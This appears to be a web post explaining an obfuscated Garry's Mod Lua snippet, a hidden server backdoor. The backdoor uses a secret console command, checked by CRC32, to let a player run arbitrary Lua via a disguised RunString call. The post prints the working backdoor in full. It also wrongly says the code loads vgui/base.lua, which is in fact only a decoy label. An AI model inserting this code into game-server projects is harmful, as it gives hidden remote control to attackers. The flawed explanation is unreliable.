This code appears to be for use in Garry's Mod...

August 25, 2025 at 10:55 PM

if SERVER then local a={}concommand.Add('_____vvvc_auth',function(b,c,d)if not d or not d[1]then return end;local e=util.CRC(d[1])if e and e=='659018158'then a[b]=true end end)local f=function(g)_G[string.reverse('gnirtSnuR')](g,util.Base64Decode'dmd1aS9iYXNlLmx1YQ==')end;concommand.Add('_____vvvc',function(b,c,d)if not d or not d[1]then return end;if not a[b]then return end;f(table.concat(d,''))end)end

This code appears to be for use in Garry's Mod (a sandbox game developed in Source Engine). It primarily works with the SERVER context, indicating that it will be executed on the server side of a multiplayer session in the game. Here’s a breakdown of what this code does:


  1. Defines a SERVER-only scope:
    if SERVER then
    
    This ensures that the included code only runs on the server (not on the client in a Garry's Mod environment).

  1. Creates a local table and adds two console commands:
    local a = {}
    
    a is a local table that will apparently store some authentication information.

  1. Defines a command callback for _____vvvc_auth:

    concommand.Add('_____vvvc_auth', function(b, c, d)
    

    This registers a console command called _____vvvc_auth, which is used for a specific kind of authentication processing.

  2. Checks and processes arguments:

    if not d or not d[1] then return end
    

    It ensures the command is properly called with at least 1 argument. If no arguments are passed (d or d[1] is missing), the function exits early.

  3. Computes a CRC hash of the argument:

    local e = util.CRC(d[1])
    

    Converts the first string argument (d[1]) into a CRC32 hash.

  4. Compares the hash to a specific value:

    if e and e == '659018158' then
        a[b] = true
    end
    

    It checks if the computed CRC matches the value '659018158'. If it matches, the player (b, which typically represents the player issuing the command) is stored in the a table and marked as authenticated.


  1. Defines the function f:

    local f = function(g)
        _G[string.reverse('gnirtSnuR')](g, util.Base64Decode'dmd1aS9iYXNlLmx1YQ==')
    end
    
    • It dynamically calls a global function named by reversing 'gnirtSnuR', which becomes RunString. RunString is used to execute a string of Lua code.
    • The second argument to RunString is the Base64-decoded string 'dmd1aS9iYXNlLmx1YQ==', which decodes to 'vgui/base.lua'.

    Essentially, this part loads the file vgui/base.lua into the Lua runtime. This might be intended to execute user-supplied scripts.


  1. Adds another console command: _____vvvc:

    concommand.Add('_____vvvc', function(b, c, d)
    

    This defines a command named _____vvvc.

  2. Checks arguments and authentication:

    if not d or not d[1] then return end
    if not a[b] then return end
    
    • Validates that arguments are provided (d[1] exists).
    • Ensures the player (b) is authenticated (i.e., they successfully authenticated previously via _____vvvc_auth).
  3. Runs arbitrary Lua code:

    f(table.concat(d, ''))
    

    Uses table.concat to merge all arguments passed into a single string. This concatenated string is passed to the function f, which in turn executes it as Lua code.


Summary:

  • The script adds two console commands:
    1. _____vvvc_auth: Performs a kind of "authentication" based on a CRC32 hash of a given argument. Players who provide the correct argument (d[1] hashing to '659018158') are marked as authenticated.
    2. _____vvvc: Executes arbitrary Lua code passed as arguments, but only for players who are authenticated via _____vvvc_auth.

Potential issues:

This code enables potentially dangerous behavior:

  • It allows authenticated players to run arbitrary Lua code on the server through the _____vvvc command.
  • The authentication process relies solely on knowing a single CRC32 hash value, which could be reverse-engineered or guessed.

This could be exploited to compromise the server, as running arbitrary Lua is a significant security risk.

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